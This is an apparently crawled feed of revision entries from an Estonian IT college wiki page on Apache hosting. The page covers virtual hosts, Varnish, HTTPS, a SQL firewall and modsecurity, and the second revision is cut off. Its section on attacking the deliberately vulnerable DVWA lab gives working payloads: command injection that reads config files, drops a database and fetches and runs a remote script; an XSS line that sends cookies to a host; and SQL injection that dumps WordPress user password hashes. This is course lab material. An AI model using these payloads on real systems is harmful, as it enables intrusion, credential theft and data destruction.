Lisaks ab&#039;le on olemas ka teisi utiliite:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1.Apache JMeter - http://jmeter.apache.org/download_jmeter.cgi &amp;lt;br&amp;gt;&lt;br /&gt;
2. httperf - http://www.hpl.hp.com/research/linux/httperf/download.php &amp;lt;br&amp;gt;&lt;br /&gt;
3. OpenWebLoad - http://openwebload.sourceforge.net/#download &amp;lt;br&amp;gt;&lt;br /&gt;
4. Allmon - https://code.google.com/p/allmon/downloads/list &amp;lt;br&amp;gt;&lt;br /&gt;
5. CLIF - http://clif.ow2.org/download/index.html &amp;lt;br&amp;gt;&lt;br /&gt;
6. curl-loader - http://sourceforge.net/projects/curl-loader/files/ &amp;lt;br&amp;gt;&lt;br /&gt;
7. deluge(alates 2002 ei ole uusi versioone) - http://sourceforge.net/projects/deluge/ &amp;lt;br&amp;gt;&lt;br /&gt;
8. dieseltest(ainult windowsile ning pole uuendatud aastast 2001) - http://sourceforge.net/projects/dieseltest/ &amp;lt;br&amp;gt;&lt;br /&gt;
9. FWPTT - http://sourceforge.net/projects/fwptt/files/ &amp;lt;br&amp;gt;&lt;br /&gt;
10. http_load - http://www.acme.com/software/http_load/ &amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Virtualhost_apache2_n%C3%A4itel&amp;diff=88390</id>
		<title>Virtualhost apache2 näitel</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Virtualhost_apache2_n%C3%A4itel&amp;diff=88390"/>
		<updated>2015-05-04T10:03:32Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* installeerimine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:IT infrastruktuuri teenused]]&lt;br /&gt;
=Apache seadistamine=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/hosts&lt;br /&gt;
&lt;br /&gt;
192.168.56.101  www.planet.zz&lt;br /&gt;
192.168.56.101  sales.planet.zz&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ping www.planet.zz&lt;br /&gt;
&lt;br /&gt;
ping sales.planet.zz    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
apt-get update     &lt;br /&gt;
apt-get dist-upgrade&lt;br /&gt;
&lt;br /&gt;
apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
mkdir -p /var/www/www.planet.zz&lt;br /&gt;
mkdir -p /var/www/sales.planet.zz&lt;br /&gt;
cp /var/www/index.html /var/www/www.planet.zz&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat &amp;gt;&amp;gt; /etc/network/interfaces &amp;lt;&amp;lt;EOL&lt;br /&gt;
auto eth1:0&lt;br /&gt;
iface eth1:0 inet static&lt;br /&gt;
        address 192.168.56.201&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
EOL&lt;br /&gt;
&lt;br /&gt;
ifup eth1:0&lt;br /&gt;
&lt;br /&gt;
cp /var/www/index.html /var/www/sales.planet.zz&lt;br /&gt;
vim /var/www/www.planet.zz/index.html&lt;br /&gt;
vim /var/www/sales.planet.zz/index.html&lt;br /&gt;
cp /etc/apache2/sites-available/default /etc/apache2/sites-available/www.planet.zz&lt;br /&gt;
cp /etc/apache2/sites-available/default /etc/apache2/sites-available/sales.planet.zz&lt;br /&gt;
&lt;br /&gt;
vim www.planet.zz &lt;br /&gt;
vim sales.planet.zz &lt;br /&gt;
&lt;br /&gt;
a2ensite www.planet.zz&lt;br /&gt;
a2ensite sales.planet.zz &lt;br /&gt;
service apache2 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=WordPress tuning=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
        ServerName wp.planet.zz&lt;br /&gt;
        DocumentRoot /var/www/wordpress&lt;br /&gt;
        &amp;lt;Directory /&amp;gt;&lt;br /&gt;
                Options FollowSymLinks&lt;br /&gt;
                AllowOverride None&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /var/www/wordpress&amp;gt;&lt;br /&gt;
                Options Indexes FollowSymLinks MultiViews&lt;br /&gt;
                AllowOverride All&lt;br /&gt;
                Order allow,deny&lt;br /&gt;
                allow from all&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/&lt;br /&gt;
        &amp;lt;Directory &amp;quot;/usr/lib/cgi-bin&amp;quot;&amp;gt;&lt;br /&gt;
                AllowOverride None&lt;br /&gt;
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch&lt;br /&gt;
                Order allow,deny&lt;br /&gt;
                Allow from all&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
&lt;br /&gt;
        # Possible values include: debug, info, notice, warn, error, crit,&lt;br /&gt;
        # alert, emerg.&lt;br /&gt;
        LogLevel warn&lt;br /&gt;
&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
&lt;br /&gt;
    Alias /doc/ &amp;quot;/usr/share/doc/&amp;quot;&lt;br /&gt;
    &amp;lt;Directory &amp;quot;/usr/share/doc/&amp;quot;&amp;gt;&lt;br /&gt;
        Options Indexes MultiViews FollowSymLinks&lt;br /&gt;
        AllowOverride None&lt;br /&gt;
        Order deny,allow&lt;br /&gt;
        Deny from all&lt;br /&gt;
        Allow from 127.0.0.0/255.0.0.0 ::1/128&lt;br /&gt;
    &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pange tähele muudetud Directory seadeid.&lt;br /&gt;
&amp;lt;Directory /var/www/wordpress&amp;gt;&lt;br /&gt;
AllowOverride All&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &#039;-1000&#039; &amp;gt; /proc/$(pidof mysqld)/oom_score_adj&lt;br /&gt;
a2enmod rewrite &lt;br /&gt;
a2enmod headers &lt;br /&gt;
a2enmod expires &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selle rea võib lisada alglaadimisel käivitatavasse faili &#039;&#039;/etc/rc.local&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Paigaldage oma valitud cace plugin wordpressile.&lt;br /&gt;
&lt;br /&gt;
=Varnish=&lt;br /&gt;
Esmaselt tõstame apache2 porti 8080&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/apache2/ports.conf&lt;br /&gt;
NameVirtualHost *:8080&lt;br /&gt;
Listen 8080&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/sites-available&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; default -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; wp -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; sales.planet.zz -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; www.planet.zz -i&lt;br /&gt;
&lt;br /&gt;
#testimiseks&lt;br /&gt;
grep &#039;:80&#039; *&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
#testimiseks&lt;br /&gt;
netstat -lntp&lt;br /&gt;
&lt;br /&gt;
#installeerime varnish cache&lt;br /&gt;
apt-get install varnish&lt;br /&gt;
vim /etc/default/varnish&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DAEMON_OPTS=&amp;quot;-a :80 \&lt;br /&gt;
             -T localhost:6082 \&lt;br /&gt;
             -f /etc/varnish/default.vcl \&lt;br /&gt;
             -S /etc/varnish/secret \&lt;br /&gt;
             -s malloc,256m&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Faili /etc/varnish/default.vcl lisada X-Forwarded-For sedmine&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sub vcl_recv {&lt;br /&gt;
&lt;br /&gt;
  # Add a unique header containing the client address&lt;br /&gt;
&lt;br /&gt;
  remove req.http.X-Forwarded-For;&lt;br /&gt;
&lt;br /&gt;
  set    req.http.X-Forwarded-For = client.ip;&lt;br /&gt;
&lt;br /&gt;
  # [...]&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service varnish restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nüüd tuleb seadistada apache veebiserver selliselt, et logis kasutatakse seda custom-logi formaati. Selleks tuleb avada soovitud veebiserveri konfiguratsioon asukohas:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/sites-available/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Avage soovitud veebiserveri konfiguratsioonifail. Antud näites kasutan &amp;quot;wp&amp;quot;-nimelist faili.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano wp&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sinna tuleb kirjutada CustomLog&#039;i rea asemele&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CustomLog ${APACHE_LOG_DIR}/access.log varnishcombined&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nüüd tuleb muuta apache2 konfiguratsiooni, kuhu tuleb seadistada varnishcombined logiformaat. Selleks liigu asukohta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/conf.d/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tee sinna uus fail nimega näiteks &#039;&#039;&#039;varnishlog.conf&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano varnishlog.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kirjuta sinna see rida&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LogFormat &amp;quot;%{X-Forwarded-For}i %l %u %t \&amp;quot;%r\&amp;quot; %&amp;gt;s %b \&amp;quot;%{Referer}i\&amp;quot; \&amp;quot;%{User-Agent}i\&amp;quot;&amp;quot; varnishcombined&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tee apache2 teenusele restart&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=DVWA ründed=&lt;br /&gt;
=HTTPS konfigureerimine=&lt;br /&gt;
&lt;br /&gt;
ssh-keygen &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Generating public/private rsa key pair.&lt;br /&gt;
Enter file in which to save the key (/root/.ssh/id_rsa): /etc/ssl/private/www.planet.zz.key&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Enter passphrase (empty for no passphrase): &lt;br /&gt;
Enter same passphrase again: &lt;br /&gt;
Your identification has been saved in /etc/ssl/private/www.planet.zz.key.&lt;br /&gt;
Your public key has been saved in /etc/ssl/private/www.planet.zz.key.pub.&lt;br /&gt;
The key fingerprint is:&lt;br /&gt;
76:6e:6a:b4:1b:75:7e:39:18:12:59:ee:9c:4c:b9:ef root@server&lt;br /&gt;
The key&#039;s randomart image is:&lt;br /&gt;
+--[ RSA 2048]----+&lt;br /&gt;
|            .    |&lt;br /&gt;
|           + .   |&lt;br /&gt;
|          o +    |&lt;br /&gt;
|           * o   |&lt;br /&gt;
|        S + O    |&lt;br /&gt;
|       ..+ + + . |&lt;br /&gt;
|       ...o o =  |&lt;br /&gt;
|        o+   o . |&lt;br /&gt;
|       .o.    E  |&lt;br /&gt;
+-----------------+&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
openssl req -new -key /etc/ssl/private/www.planet.zz.key -out /root/www.planet.zz.req&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
You are about to be asked to enter information that will be incorporated&lt;br /&gt;
into your certificate request.&lt;br /&gt;
What you are about to enter is what is called a Distinguished Name or a DN.&lt;br /&gt;
There are quite a few fields but you can leave some blank&lt;br /&gt;
For some fields there will be a default value,&lt;br /&gt;
If you enter &#039;.&#039;, the field will be left blank.&lt;br /&gt;
-----&lt;br /&gt;
Country Name (2 letter code) [AU]:EE&lt;br /&gt;
State or Province Name (full name) [Some-State]:Harjumaa&lt;br /&gt;
Locality Name (eg, city) []:Tallinn&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Planet &lt;br /&gt;
Organizational Unit Name (eg, section) []:&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:www.planet.zz&lt;br /&gt;
Email Address []:&lt;br /&gt;
&lt;br /&gt;
Please enter the following &#039;extra&#039; attributes&lt;br /&gt;
to be sent with your certificate request&lt;br /&gt;
A challenge password []:&lt;br /&gt;
An optional company name []:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sudo openssl x509 -req -days 3650 -in /root/www.planet.zz.req -signkey /etc/ssl/private/www.planet.zz.key -out /etc/ssl/certs/www.planet.zz.pem&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Signature ok&lt;br /&gt;
subject=/C=EE/ST=Harjumaa/L=Tallinn/O=Planet/OU=IT/CN=www.planet.zz&lt;br /&gt;
Getting Private key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
cp /etc/apache2/sites-available/default-ssl /etc/apache2/sites-available/www.planet.zz-ssl&lt;br /&gt;
&lt;br /&gt;
Seal muuta sisu (sert, dokument root, keyfail)&lt;br /&gt;
&lt;br /&gt;
Lisa ServerName, Muuda DocumentRoot, Muuda SSLCertificateFile ja SSLCertificateKeyFile&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ServerName      www.planet.zz&lt;br /&gt;
DocumentRoot /var/www/www.planet.zz&lt;br /&gt;
SSLCertificateFile    /etc/ssl/certs/www.planet.zz.pem&lt;br /&gt;
SSLCertificateKeyFile /etc/ssl/private/www.planet.zz.key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
a2ensite www.planet.zz-ssl&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
=ID kaart=&lt;br /&gt;
&lt;br /&gt;
[[ID kaardiga autentimine Apache2 veebiserveriga]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=DVWA ründed=&lt;br /&gt;
==cmd exec==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; sed &#039;s/&amp;lt;/UUUU/&#039; ../../config/config.inc.php&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; ls -l &lt;br /&gt;
8.8.8.8; ls -l ../&lt;br /&gt;
8.8.8.8; ls -l ../../&lt;br /&gt;
#jne, kuni kõik failid/kataloogid on teada&lt;br /&gt;
8.8.8.8; sed &#039;s/&amp;lt;//&#039;  ../../../../wordpress/wp-config.php&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Loon faili kala /var/tmp kataloogi&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; touch /var/tmp/kala.txt&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ning kontrollin kas fail loodi&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; ls /var/tmp/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kustutada andmebaas (eelnevalt uurida andmebaasi nime ning parooli):&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8;mysqladmin DROP dvwa -y;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kuvada failide infot:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8;cat /etc/apache2/sites-enabled/www.planet.zz&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
skripti laadimine serverisse ning sellele käivitusbiti andmine:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; wget http://enos.itcollege.ee/~kloodus/osadmin/skript.sh -O /var/tmp/skript; chmod +x /var/tmp/skript/skript.sh&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kuidas teada saada, kas küpsised on JavaScriptile kasutamiseks lubatud või mitte. Lahendus kasutab command execution&#039;it (XSS auku pole leitud, ei saa kasutada, ...)&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
; grep session.cookie_httponly /etc/php5/apache2/php.ini&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund:&lt;br /&gt;
* kui küpsised ei ole JavaScriptile loetavad, siis on väljund selline:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;session.cookie_httponly = 1&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* kui küpsised on JavaScriptile loetavad, siis on väljund selline (HINT: Tegutse ruttu! :))&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;session.cookie_httponly = 0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
==XSS==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;var i=&#039;&amp;lt;img src=&amp;quot;http://192.168.56.101/&#039;+document.cookie+&#039;&amp;quot; /&amp;gt;&#039;; document.write(i);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==veel XSSi==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
%3Cscript%3Evar+i%3D%27%3Cimg+src%3D%22http%3A%2F%2F192.168.56.101%2F%27%2Bdocument.cookie%2B%27%22+%2F%3E%27%3B+document.write%28i%29%3B%3C%2Fscript%3E&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==SQLi==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
#blind&lt;br /&gt;
1&#039; union select BENCHMARK(100000000,ENCODE(&#039;hello&#039;,&#039;goodbye&#039;)),1; # --&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2&#039; union select TABLE_SCHEMA, TABLE_NAME from information_schema.tables;# --&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3&#039; union  select TABLE_NAME,COLUMN_NAME from information_schema.columns; # --&lt;br /&gt;
&lt;br /&gt;
4&#039; union select user_login,user_pass from wp.wp_users; #&lt;br /&gt;
&lt;br /&gt;
3&#039; union  select TABLE_NAME,concat(COLUMN_NAME,&#039;-&#039;,&#039;LISA&#039;) from information_schema.columns; #&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=GreenSQL firewall=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://elab.itcollege.ee:8000/Day3/greensql-fw_1.3.0_amd64.deb&lt;br /&gt;
&lt;br /&gt;
dpkg -i greensql-fw_1.3.0_amd64.deb&lt;br /&gt;
&lt;br /&gt;
apt-get install -f&lt;br /&gt;
&lt;br /&gt;
#Modify existing virtualhost or create new virtualhost.&lt;br /&gt;
&lt;br /&gt;
cd /var/www/EXISTINGORNEW&lt;br /&gt;
ln -s /usr/share/greensql-fw/ greensql&lt;br /&gt;
&lt;br /&gt;
cd greensql&lt;br /&gt;
chmod 0777 templates_c&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutajanimi veebiliidesel on &#039;&#039;&#039;admin&#039;&#039;&#039; ja parool &#039;&#039;&#039;pwd&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Muutke DVWA config failis andmebaasi asukohta:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$_DVWA[ &#039;db_server&#039; ] = &#039;127.0.0.1:3305&#039;;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#lisage faili /etc/rc.local järgmine ride ENNE exit 0 rida&lt;br /&gt;
service greensql-fw start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=modsecurity=&lt;br /&gt;
==installeerimine==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt-get install libapache2-mod-security2&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Muutke faili &#039;&#039;&#039;/etc/apache2/mods-available/security2.conf&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;IfModule security2_module&amp;gt;&lt;br /&gt;
        # Default Debian dir for modsecurity&#039;s persistent data&lt;br /&gt;
        SecDataDir /var/cache/modsecurity&lt;br /&gt;
&lt;br /&gt;
        # Include all the *.conf files in /etc/modsecurity.&lt;br /&gt;
        # Keeping your local configuration in that directory&lt;br /&gt;
        # will allow for an easy upgrade of THIS file and&lt;br /&gt;
        # make your life easier&lt;br /&gt;
        IncludeOptional /etc/modsecurity/*.conf&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==CRS==&lt;br /&gt;
https://github.com/SpiderLabs/owasp-modsecurity-crs&lt;br /&gt;
&lt;br /&gt;
=Apache2 tweaks=&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
ServerSignature Off&lt;br /&gt;
ServerTokens Prod&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://chandank.com/webservers/apache/apache-web-server-hardening-security?start=3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Apache testimine ==&lt;br /&gt;
Lisaks ab&#039;le on olemas ka teisi utiliite:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1.Apache JMeter - http://jmeter.apache.org/download_jmeter.cgi &amp;lt;br&amp;gt;&lt;br /&gt;
2. httperf - http://www.hpl.hp.com/research/linux/httperf/download.php &amp;lt;br&amp;gt;&lt;br /&gt;
3. OpenWebLoad - http://openwebload.sourceforge.net/#download &amp;lt;br&amp;gt;&lt;br /&gt;
4. Allmon - https://code.google.com/p/allmon/downloads/list &amp;lt;br&amp;gt;&lt;br /&gt;
5. CLIF - http://clif.ow2.org/download/index.html &amp;lt;br&amp;gt;&lt;br /&gt;
6. curl-loader - http://sourceforge.net/projects/curl-loader/files/ &amp;lt;br&amp;gt;&lt;br /&gt;
7. deluge(alates 2002 ei ole uusi versioone) - http://sourceforge.net/projects/deluge/ &amp;lt;br&amp;gt;&lt;br /&gt;
8. dieseltest(ainult windowsile ning pole uuendatud aastast 2001) - http://sourceforge.net/projects/dieseltest/ &amp;lt;br&amp;gt;&lt;br /&gt;
9. FWPTT - http://sourceforge.net/projects/fwptt/files/ &amp;lt;br&amp;gt;&lt;br /&gt;
10. http_load - http://www.acme.com/software/http_load/ &amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Virtualhost_apache2_n%C3%A4itel&amp;diff=88389</id>
		<title>Virtualhost apache2 näitel</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Virtualhost_apache2_n%C3%A4itel&amp;diff=88389"/>
		<updated>2015-05-04T10:00:41Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* installeerimine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:IT infrastruktuuri teenused]]&lt;br /&gt;
=Apache seadistamine=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/hosts&lt;br /&gt;
&lt;br /&gt;
192.168.56.101  www.planet.zz&lt;br /&gt;
192.168.56.101  sales.planet.zz&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ping www.planet.zz&lt;br /&gt;
&lt;br /&gt;
ping sales.planet.zz    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
apt-get update     &lt;br /&gt;
apt-get dist-upgrade&lt;br /&gt;
&lt;br /&gt;
apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
mkdir -p /var/www/www.planet.zz&lt;br /&gt;
mkdir -p /var/www/sales.planet.zz&lt;br /&gt;
cp /var/www/index.html /var/www/www.planet.zz&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat &amp;gt;&amp;gt; /etc/network/interfaces &amp;lt;&amp;lt;EOL&lt;br /&gt;
auto eth1:0&lt;br /&gt;
iface eth1:0 inet static&lt;br /&gt;
        address 192.168.56.201&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
EOL&lt;br /&gt;
&lt;br /&gt;
ifup eth1:0&lt;br /&gt;
&lt;br /&gt;
cp /var/www/index.html /var/www/sales.planet.zz&lt;br /&gt;
vim /var/www/www.planet.zz/index.html&lt;br /&gt;
vim /var/www/sales.planet.zz/index.html&lt;br /&gt;
cp /etc/apache2/sites-available/default /etc/apache2/sites-available/www.planet.zz&lt;br /&gt;
cp /etc/apache2/sites-available/default /etc/apache2/sites-available/sales.planet.zz&lt;br /&gt;
&lt;br /&gt;
vim www.planet.zz &lt;br /&gt;
vim sales.planet.zz &lt;br /&gt;
&lt;br /&gt;
a2ensite www.planet.zz&lt;br /&gt;
a2ensite sales.planet.zz &lt;br /&gt;
service apache2 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=WordPress tuning=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
        ServerName wp.planet.zz&lt;br /&gt;
        DocumentRoot /var/www/wordpress&lt;br /&gt;
        &amp;lt;Directory /&amp;gt;&lt;br /&gt;
                Options FollowSymLinks&lt;br /&gt;
                AllowOverride None&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /var/www/wordpress&amp;gt;&lt;br /&gt;
